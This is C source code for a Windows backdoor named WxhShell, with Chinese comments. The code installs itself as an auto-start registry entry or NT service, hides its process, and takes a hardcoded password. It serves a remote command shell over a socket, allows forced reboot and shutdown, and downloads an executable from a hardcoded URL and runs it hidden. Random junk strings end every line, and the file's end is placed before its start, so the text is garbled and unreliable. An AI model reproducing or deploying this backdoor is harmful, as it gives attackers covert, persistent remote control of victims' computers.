    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fe4esg-B<  
    if(Boot(SHUTDOWN)) w4}(Ab<Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >@Khm"/T  
    else { JS2!)aqc  
    closesocket(wsh); {G.{a d  
    ExitThread(0); YHh u^}|jQ  
    } yHw!#gWM  
    break; bV7QVu8  
    } 6SAQDE  
  // 获取shell [N R1d-Wg  
  case 's': { }2xb&6g~o  
    CmdShell(wsh); o}R|tOe  
    closesocket(wsh); :eLLDp<  
    ExitThread(0); 2o}8W7y  
    break; },3R%?8 9%  
  } D4\(:kF\Hg  
  // 退出 ]Hj`2\KD.d  
  case 'x': { dh,7iQ s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |ZuDX87  
    CloseIt(wsh); 1 ' %-y  
    break; bgXc_>T6_y  
    } 2^ kn5  
  // 离开 Z{16S=0  
  case 'q': { bl9E&B/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {lKEZirO  
    closesocket(wsh); -9i+@%{/  
    WSACleanup(); :\T_'Shq  
    exit(1); | &\^n2`>  
    break; -CZ-l;5  
        } C9+Dw#-f V  
  } rN'k4V"K  
  } u"joCZ7`kG  
h!;MBn`8  
  // 提示信息 ceI [hM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0Cv4/Ar(  
} dW6Q)Rfi  
  } "p2u+ 8?  
Ae3#>[]{  
  return; 9 &[\*{  
} '.xkn{c  
{kv4g\a;  
// shell模块句柄 3g+ \? L-c  
int CmdShell(SOCKET sock) |W/Hi^YE2  
{ a\|X^%2g  
STARTUPINFO si; c'[( d5^|  
ZeroMemory(&si,sizeof(si)); j[BgP\&,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !-@SS>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wf^cyCR0  
PROCESS_INFORMATION ProcessInfo; uof0Oc.  
char cmdline[]="cmd"; UvoG<;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0$(jBnE  
  return 0; 4>d[qr*<  
} A'w2GC{.  
4O9tx_<JG  
// 自身启动模式 *,_2hvlz  
int StartFromService(void) y& Gw.N}<r  
{ A` oa|k!U  
typedef struct sV;qpDXX  
{ 7YSuB9{M  
  DWORD ExitStatus; ]lC4+{V  
  DWORD PebBaseAddress; <4SF~i  
  DWORD AffinityMask; ~n)]dFy  
  DWORD BasePriority; + >Fv*lux  
  ULONG UniqueProcessId; IrUpExJ  
  ULONG InheritedFromUniqueProcessId; 9 ?[4i'  
}   PROCESS_BASIC_INFORMATION; rUhWZta  
)Ep@$Gv|S  
PROCNTQSIP NtQueryInformationProcess; 0!)U *+j,  
-U&098}<K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vHoT@E#}'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !k ;[^>  
',<{X (#(  
  HANDLE             hProcess; ">rsA&hN-  
  PROCESS_BASIC_INFORMATION pbi; E%KC'T N^D  
1"N/ZKF-x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 30:HRF(:  
  if(NULL == hInst ) return 0; B&to&|jf  
BD<rQmfA^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U Ek |8yq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7UY('Q[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pyGFDB5_P  
&FT5w T  
  if (!NtQueryInformationProcess) return 0; *s 1D\/H  
Ul7,k\q@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  ||bA  
  if(!hProcess) return 0; 3ytx"=B%  
5QCw5N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F^J&g%ql  
0f EZD$  
  CloseHandle(hProcess); xow6@M,  
\r)_-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * <Nk%`  
if(hProcess==NULL) return 0; ajg7xF{l)  
|rG8E;>  
HMODULE hMod; UzP@{?  
char procName[255]; sf=%l10Fk#  
unsigned long cbNeeded; .CB"@.7  
LD7? .  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w;g)Iy6x  
R|d^M&K,  
  CloseHandle(hProcess); i|:: v l  
)L&n)w  
if(strstr(procName,"services")) return 1; // 以服务启动 y?rK5Yos  
T(t <Ay?c  
  return 0; // 注册表启动 [0( E>vm  
} {3_Ffsg`  
Wl@0TUK  
// 主模块 S S7D1  
int StartWxhshell(LPSTR lpCmdLine) x|P<F2L  
{ 96^1Ivd  
  SOCKET wsl; `*.r'k2R  
BOOL val=TRUE; w%!k?t,*]  
  int port=0; .je~qo )  
  struct sockaddr_in door; A@fshWrl%  
J?UZN^  
  if(wscfg.ws_autoins) Install(); "1=.5:yG  
S.?\>iH[  
port=atoi(lpCmdLine); |>m# m*{S  
!ds"88:5^  
if(port<=0) port=wscfg.ws_port; rVc zO+E  
:d:|7hlNQ  
  WSADATA data; Y:#kel<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~`W6O>  
%m0L!|E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #Q!c42}M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s0`]!7D<  
  door.sin_family = AF_INET; Q*oA{eZY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &9GR2GY  
  door.sin_port = htons(port); JCQx8;V%I  
hA&j?{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +)''l  
closesocket(wsl); a`GN@ 8  
return 1; E: LQ!  
} _tWfb}6;Zb  
)SlUQ7f>  
  if(listen(wsl,2) == INVALID_SOCKET) { jQw`*Y/,  
closesocket(wsl); 0|*UeM  
return 1; ,AFC1t[0  
} ~ L i%  
  Wxhshell(wsl); qJAv=D  
  WSACleanup(); 4N0W& Dy  
GwU>o:g"  
return 0; vb80J<4  
HnYFE@Nl:U  
} \M1M2(@pDJ  
#E~WVTO w  
// 以NT服务方式启动 v;NZ"1=_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6#lC(ko'  
{ _g/T H-;^  
DWORD   status = 0; /^es0$Co.  
  DWORD   specificError = 0xfffffff; (tz_D7c$F  
}tS6Z:fOY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WPh |~]by<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m}'t'l4 c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6=`m   
  serviceStatus.dwWin32ExitCode     = 0; kxKnmB#m-  
  serviceStatus.dwServiceSpecificExitCode = 0; aZ`_W|  
  serviceStatus.dwCheckPoint       = 0; olQ8s *  
  serviceStatus.dwWaitHint       = 0; odn97,A  
^QL/m\zq@%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "gl:4|i '  
  if (hServiceStatusHandle==0) return; GwIfGixqH  
<^X'f  
status = GetLastError(); fuIv,lDA  
  if (status!=NO_ERROR) Bafz&#;Q'  
{ <PuB3PEvV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;Kd{h  
    serviceStatus.dwCheckPoint       = 0; "a%ASy>?g  
    serviceStatus.dwWaitHint       = 0; E?c{02fu  
    serviceStatus.dwWin32ExitCode     = status; GF/x;,Ae  
    serviceStatus.dwServiceSpecificExitCode = specificError; GJl@ag5h]!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +8@`lDnr  
    return; O%Gsk'mo  
  } lXL7q?,9  
~IJZM`gN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >7v.`m6?H  
  serviceStatus.dwCheckPoint       = 0; g  cK"  
  serviceStatus.dwWaitHint       = 0; Hr8$1I$=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SpTORR8  
} XCi]()TZ_  
g,GbaaXH  
// 处理NT服务事件,比如:启动、停止 q MT.7n:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -GkK[KCH  
{ E+m"yQp{  
switch(fdwControl) Pk?%PB ?Z  
{ FsPDWy&x  
case SERVICE_CONTROL_STOP: 4+?ZTc(  
  serviceStatus.dwWin32ExitCode = 0; hhgz=7Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1&dsQ, VDl  
  serviceStatus.dwCheckPoint   = 0; Hk~ gcG  
  serviceStatus.dwWaitHint     = 0; :`"T Eif  
  { +` Y ?-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ev|{~U  
  } TWR#MVMI  
  return; tP^mq>  
case SERVICE_CONTROL_PAUSE: p31rhe   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SAo \H  
  break; I3rnCd(  
case SERVICE_CONTROL_CONTINUE: rjf=qh5s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2;(iTPz +  
  break; /5'<w(  
case SERVICE_CONTROL_INTERROGATE: )D-.7m.v]  
  break; _>)"+z^r  
}; cZX&itVc:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bZlLivi  
} )s7Tv#[  
"drh+oo.  
// 标准应用程序主函数 0gb]Kjx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j{w,<Wt>  
{ eYX_V6c  
~m09yc d<  
// 获取操作系统版本 V1b_z  
OsIsNt=GetOsVer();  yLIj4bf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :AcN b  
VOK$;s'9}  
  // 从命令行安装 % oL&~6l$  
  if(strpbrk(lpCmdLine,"iI")) Install(); SoGLsO+R  
f]6` GsE  
  // 下载执行文件 [W|7r n,q  
if(wscfg.ws_downexe) { 'GdlqbX(%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l:Xf(TLa  
  WinExec(wscfg.ws_filenam,SW_HIDE); 96E7hp !:  
} ~aR='\<  
ysT!^-&p  
if(!OsIsNt) { c:_i)":  
// 如果时win9x,隐藏进程并且设置为注册表启动 a.U:B [v`  
HideProc(); Gv nclnG  
StartWxhshell(lpCmdLine); V7'x? pt  
} ?9okjLp1n  
else D}/.;]w<[&  
  if(StartFromService()) gx9sBkoq5D  
  // 以服务方式启动 *]| JX&  
  StartServiceCtrlDispatcher(DispatchTable); T2PFE4+Dp  
else V5@[7ncVf  
  // 普通方式启动 ue:P#] tx  
  StartWxhshell(lpCmdLine); vKOn7  
6{r[Dq  
return 0; +PXfr~ 4  
} 86 /i~s  
ieLN;)Iy^  
c&?H8G)x  
GZ[h`FJg/  
=========================================== E=~WQ13Q  
4k?JxA)  
`lh?Z3W  
1Kf t?g  
lGBdQc]IL  
ITqigGan%  
" LmdV@gR  
mb`}sTU).  
#include <stdio.h> w8#>xV^~  
#include <string.h> \R6T" U  
#include <windows.h> HPCA$LD  
#include <winsock2.h> Nl)jQ  
#include <winsvc.h> AS"|r  
#include <urlmon.h> tYNt>9L|  
[>9"RzEl  
#pragma comment (lib, "Ws2_32.lib") !4.^@^L|\  
#pragma comment (lib, "urlmon.lib") "8dnFrE  
(s*Uz3 sq  
#define MAX_USER   100 // 最大客户端连接数 ]BD5+>;  
#define BUF_SOCK   200 // sock buffer ~{$'sp0  
#define KEY_BUFF   255 // 输入 buffer ZUI9[A?  
n ZZQxV,  
#define REBOOT     0   // 重启 Z4 zMa&  
#define SHUTDOWN   1   // 关机 #UeU:RJ1  
A8/4:>Is  
#define DEF_PORT   5000 // 监听端口 yf^gU*  
eV+wnE?SB5  
#define REG_LEN     16   // 注册表键长度 Tka="eyIj3  
#define SVC_LEN     80   // NT服务名长度 mBkQ 8e  
|Qm%G\oB?  
// 从dll定义API zV Li  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `ViNSr):J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :>ST)Y@]w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); < io8 b|A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %= ;K>D  
:@A;!'zpL  
// wxhshell配置信息 /[dAgxL  
struct WSCFG { ?+tZP3'  
  int ws_port;         // 监听端口 TmAb! Y|F  
  char ws_passstr[REG_LEN]; // 口令 TBfl9Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no k8>^dZub  
  char ws_regname[REG_LEN]; // 注册表键名 rGL{g&_  
  char ws_svcname[REG_LEN]; // 服务名 ^S2} 0N f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ew['9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?|YQtY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MdjMTe s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FdHWF|D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _u5U> w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F>R)~;Ja  
LB+=?Mz V  
};  :!FwF65  
<q=B(J'  
// default Wxhshell configuration EPnB%'l\c  
struct WSCFG wscfg={DEF_PORT, 8gm[Q[  
    "xuhuanlingzhe", SntYi0,`  
    1, *heQ@ww  
    "Wxhshell", D];([:+4  
    "Wxhshell", cSDCNc*%  
            "WxhShell Service", Z}StA0F_  
    "Wrsky Windows CmdShell Service", Fa^]\:  
    "Please Input Your Password: ", d>psqmQ  
  1, l(4./M  
  "http://www.wrsky.com/wxhshell.exe", ,Gx=e!-N5  
  "Wxhshell.exe" "g[UX{L  
    }; 3iL&;D  
iiB$<b.((I  
// 消息定义模块 rWmi 'niu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M_I\:Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K%Ml2V   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +c_CYkHJ/  
char *msg_ws_ext="\n\rExit."; UeQ% (f  
char *msg_ws_end="\n\rQuit."; G<1mj!{Vp  
char *msg_ws_boot="\n\rReboot..."; >(a_9l;q  
char *msg_ws_poff="\n\rShutdown..."; Xq^{P2\w1  
char *msg_ws_down="\n\rSave to "; " N4]e/.V  
niBpbsO  
char *msg_ws_err="\n\rErr!"; L]")TQ  
char *msg_ws_ok="\n\rOK!"; p4_uY7^6  
`"4EE}eQc  
char ExeFile[MAX_PATH]; AOUO',v  
int nUser = 0; "ET"dMxU  
HANDLE handles[MAX_USER]; &p/k VM  
int OsIsNt; >@iV!!  
biK.HL\V  
SERVICE_STATUS       serviceStatus; &|*|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >X)G`N@ !  
8 EH3zm4  
// 函数声明 bc-}Qn  
int Install(void); z8MYgn 7  
int Uninstall(void); _?<Fc8F  
int DownloadFile(char *sURL, SOCKET wsh); an~Kc!Oki  
int Boot(int flag); KguFU  
void HideProc(void); 4{E=wg^p  
int GetOsVer(void); IQ8AsV&'C  
int Wxhshell(SOCKET wsl);  /9Xf[<  
void TalkWithClient(void *cs); (#k#0T kE  
int CmdShell(SOCKET sock); Pw{+7b$  
int StartFromService(void); %R>MSSjvr  
int StartWxhshell(LPSTR lpCmdLine); GjBQxn  
R?I3xb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S0yT%V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uM#/  
mQJGKh&Pk  
// 数据结构和表定义 dGjvSK<1@  
SERVICE_TABLE_ENTRY DispatchTable[] = XwMC/]lK<  
{ d?.x./1[qi  
{wscfg.ws_svcname, NTServiceMain}, R\?!r4  
{NULL, NULL} _Qas+8NW  
}; Jsl,r+'H  
{ q<l]jn9  
// 自我安装 v>R.ou(  
int Install(void) =c'LG   
{ A:Z:&(NtE:  
  char svExeFile[MAX_PATH]; K.~U%v}  
  HKEY key; #$E vybETx  
  strcpy(svExeFile,ExeFile); ,5:86'p  
+0DIN4Y(4  
// 如果是win9x系统,修改注册表设为自启动 ~Ji A  
if(!OsIsNt) { Fy^\Uw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HL]?CWtGP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xm5D$m3#  
  RegCloseKey(key); \=~Ap#Mpc4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )9O{4PbU!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % e(,PL  
  RegCloseKey(key); wd *Jq  
  return 0; E3qX$|.$/  
    } ~MX@-Ff  
  } ^y,ip=<5\3  
} 3ssio-X  
else { Lif mYn[  
\8!HZei  
// 如果是NT以上系统,安装为系统服务 xAflcY>Ozs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'I2)-=ZL6  
if (schSCManager!=0) IcZ'KV  
{ NR5A"_'  
  SC_HANDLE schService = CreateService [(mq8Nb  
  ( $nW>]S\|  
  schSCManager, 8}"j#tDc  
  wscfg.ws_svcname, )d~Mag+  
  wscfg.ws_svcdisp, *?S\0a'W@  
  SERVICE_ALL_ACCESS, #0c`"2t&M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FW4 hqgE@  
  SERVICE_AUTO_START, aum,bm/0J  
  SERVICE_ERROR_NORMAL, <4Fd ~  
  svExeFile, B$G8,3,:  
  NULL, P?F:x=@'|  
  NULL, !8$}]uWP  
  NULL, moGbBkO  
  NULL, [*(MI 9WM  
  NULL V*N9D>C  
  ); FYJB.lAT  
  if (schService!=0) '"EOLr\Z,  
  { *HRRv.iQ  
  CloseServiceHandle(schService); lMP7o&  
  CloseServiceHandle(schSCManager); KME #5=~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;S7xJ 'H  
  strcat(svExeFile,wscfg.ws_svcname); pP#?|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C+Z"0\{o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a5iMCmL+  
  RegCloseKey(key); m:t $&  
  return 0; 1Sy#*  
    } ,rKN/{M!  
  } DCm;dh  
  CloseServiceHandle(schSCManager); DuWP)#kg  
} ~gf $ L9  
} LLE~V~j  
,#A,+!4  
return 1; ) E\pQ5&  
} @l8?\^N  
SCo9[EJ  
// 自我卸载 UpITx]y?"m  
int Uninstall(void) [|YMnV<B  
{ ">o/\sXeH  
  HKEY key; B@4#y9`5  
E_OLf%um  
if(!OsIsNt) { x[X.// :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xfzR>NU  
  RegDeleteValue(key,wscfg.ws_regname); u0,~pJvX  
  RegCloseKey(key); `'>>[*06:a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { La!PG Z{  
  RegDeleteValue(key,wscfg.ws_regname); #df43_u  
  RegCloseKey(key); \=@}(<4  
  return 0; QqDF_  
  } -H \nFJ6+  
} ru&RL HFV  
} !"kvXxp^  
else { Fri5_rxLl  
75F&s,4+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TcC=_je460  
if (schSCManager!=0) 9#p^Z)[)-  
{ _FV.}%W<u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); % /s1ma6q  
  if (schService!=0) H\^^p!^)  
  { H|^4e   
  if(DeleteService(schService)!=0) { +SJ aE] $  
  CloseServiceHandle(schService); LV[4zo]=  
  CloseServiceHandle(schSCManager); \bg^E>-  
  return 0; %tMfOW  
  } Hq~ 2,#Ue  
  CloseServiceHandle(schService); L*_xu _F  
  } FR <wp  
  CloseServiceHandle(schSCManager); eZv0"FK X  
} [  /D/  
} OhTO*C8  
s[g1e i9  
return 1; iPIA&)x}  
} dcA0k  
IoX(Pa  
// 从指定url下载文件 L/ZZe5I  
int DownloadFile(char *sURL, SOCKET wsh) qHj4`&  
{ U t%ie=c  
  HRESULT hr; WRgz]=W3w  
char seps[]= "/"; _w26iCnB{  
char *token; RHxd6Gs"  
char *file; 1~*_H_Q't  
char myURL[MAX_PATH]; r}991O<  
char myFILE[MAX_PATH]; sqy5rug  
%6n;B|!  
strcpy(myURL,sURL); pp:+SoyN  
  token=strtok(myURL,seps); L+u_153  
  while(token!=NULL) #y?z2 !  
  { "[%NXan  
    file=token; ZpdM[\Q-  
  token=strtok(NULL,seps); =}L[/RL  
  } /; _"A)0  
!>+ 0/   
GetCurrentDirectory(MAX_PATH,myFILE); e0q a ~5  
strcat(myFILE, "\\"); HG^8&uh]  
strcat(myFILE, file); hk=+t&Y<H  
  send(wsh,myFILE,strlen(myFILE),0); D&'".N,}  
send(wsh,"...",3,0); [:o#d`^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~5|a9HV:  
  if(hr==S_OK) s)C.e# xl  
return 0; =m40{  
else Pg:Nz@CQ  
return 1; eY-$h nUe  
D Lu]d$G  
} b"gYNGgX  
+vQyHo  
// 系统电源模块 >8,BC  
int Boot(int flag) <ZocMv9gM  
{ \C L`j  
  HANDLE hToken; r8 xH A  
  TOKEN_PRIVILEGES tkp; !b 7H  
]*@7o^4i  
  if(OsIsNt) { Kq1sGk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |9g*rO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PvM<#zq_  
    tkp.PrivilegeCount = 1; WgjaMmht  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sC#Ixq'ls7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (d (whlF  
if(flag==REBOOT) { M,9WF)p)V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0t9G $23  
  return 0; `*slQ }i  
} t;*'p  
else { `R^)< v*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T}zi P  
  return 0; T.xW|Iwx  
} CzK X}  
  } rF5<x3  
  else { UeVF@rw  
if(flag==REBOOT) { 6"wY;E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZHZ>YSqCS  
  return 0; )JjfPb64  
} z`BRz&  
else { Fb_~{q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XnNK )dUT}  
  return 0; P }PSS#nn  
} I5e!vCG)  
} ^c2 8Q.<w(  
:c6%;2  
return 1; fN&O `T>  
} ?{FxbDp>  
%~eZrG.  
// win9x进程隐藏模块 CocvEoE*z  
void HideProc(void) E 1>3[3  
{ @ }[)uH  
u%T.XgY=j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s_]rje8`  
  if ( hKernel != NULL ) u-?&~WA  
  { a E#s#Kv   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =e4,)Wd9&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i#C?&  
    FreeLibrary(hKernel); 6=zme6D  
  } IX3r$}4  
gU 8'7H2  
return; ^EB}e15"  
} 5tf/VT   
m7eO T  
// 获取操作系统版本 O[ N{&\$  
int GetOsVer(void) Sw0~6RZ  
{  m.2  
  OSVERSIONINFO winfo; u!F3Rh8D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F:\y#U6"J  
  GetVersionEx(&winfo); tvg7mU]l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yu8WmX,[  
  return 1; "BTA"  
  else 6I>W(_T  
  return 0; 10a=[\ Q  
} F6fm{  
F'Wef11Yz  
// 客户端句柄模块 {}.c.W+  
int Wxhshell(SOCKET wsl) Z{e5 OJ  
{ Z,!Rj7wZ  
  SOCKET wsh; 7`P(LQAr!  
  struct sockaddr_in client; &)wQ|{P~k  
  DWORD myID; I5-/K VWb  
C[[z3tn  
  while(nUser<MAX_USER) q-uYfXZ{j  
{ y(q1~73s  
  int nSize=sizeof(client); l lQ<x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jx-W$@  
  if(wsh==INVALID_SOCKET) return 1; K%Rx5 S  
' rXkTm1{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0z,c6MjM+  
if(handles[nUser]==0) &^z~wJ,]  
  closesocket(wsh); G;tIhq[$Vb  
else lte~26=e  
  nUser++; B^KC~W  
  } t4,6`d?C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zJ#q*2A(Z  
643 O(0a  
  return 0; Qz $1_vO  
} Q:%gJ6pa  
Zaq:l[%  
// 关闭 socket @ws3X\`<C  
void CloseIt(SOCKET wsh) Haturg  
{ xOS4J+'s@  
closesocket(wsh); LEk W^Mv  
nUser--; ^*Ca+22xO  
ExitThread(0); |vGz 1jLV  
} D F0~A  
VNPuOU=  
// 客户端请求句柄 d/|@"z^?  
void TalkWithClient(void *cs) Vls*fY:W  
{ \l#=p+x5  
X3'z'5  
  SOCKET wsh=(SOCKET)cs; 0C3CqGP  
  char pwd[SVC_LEN]; =m:0#&t,*  
  char cmd[KEY_BUFF]; aLP 2p]  
char chr[1]; Ii;~ xc  
int i,j; ]T+{]t  
; zs4>>^>  
  while (nUser < MAX_USER) { u dH7Q&"  
Vj`9j. 5  
if(wscfg.ws_passstr) { +]B^*99  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YKj7~yK?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u YJ6 "j  
  //ZeroMemory(pwd,KEY_BUFF); dGZVWEaPfx  
      i=0; 'os-+m@  
  while(i<SVC_LEN) { _sw,Y!x%dF  
\ <V{6#Q=  
  // 设置超时 U|iSJ%K  
  fd_set FdRead; ]2tX'=X  
  struct timeval TimeOut; .vwOp*3\  
  FD_ZERO(&FdRead); =:5yRP  
  FD_SET(wsh,&FdRead); U+nwLxe'  
  TimeOut.tv_sec=8; i9+V<'h  
  TimeOut.tv_usec=0; YMJ?t"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I2D<~xP~2+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '|Cs!Zl  
0gxbo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?e yo2:-$  
  pwd=chr[0]; ij%\ld9kd  
  if(chr[0]==0xd || chr[0]==0xa) { :0V<  
  pwd=0; 0hCJovSG%  
  break; `y m^0x8  
  } CkIICx  
  i++; KeY)%{  
    } Nqy',N  
$Nnz |y  
  // 如果是非法用户,关闭 socket :Bda]]Y=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]#_,?d  
} pbAQf3  
*O+YhoR?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,HR~oT^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x1wm]|BIf  
1vi<@i,  
while(1) { 0 E{$u  
{b} ?I4)  
  ZeroMemory(cmd,KEY_BUFF); +d]}  
u|B\@"0  
      // 自动支持客户端 telnet标准   ?GX 5Pvg  
  j=0; |Q.t]TR'P  
  while(j<KEY_BUFF) { w#]%I+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mG\,T3/*  
  cmd[j]=chr[0]; hyFq>XFo  
  if(chr[0]==0xa || chr[0]==0xd) { ^D"}OQoh  
  cmd[j]=0; ;,4Z5+  
  break; Rm"lRkY4I[  
  } 'V .4Nhd  
  j++; Spt[b.4mF  
    } EzwYqw  
/6b(w=pk  
  // 下载文件 N%n#mV;  
  if(strstr(cmd,"http://")) { if r!ha+8!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nmns3D  
  if(DownloadFile(cmd,wsh)) R7( + ^%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lB.P   
  else U*1rA/"n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U3az\E)HV  
  } ^`Vt<DMT  
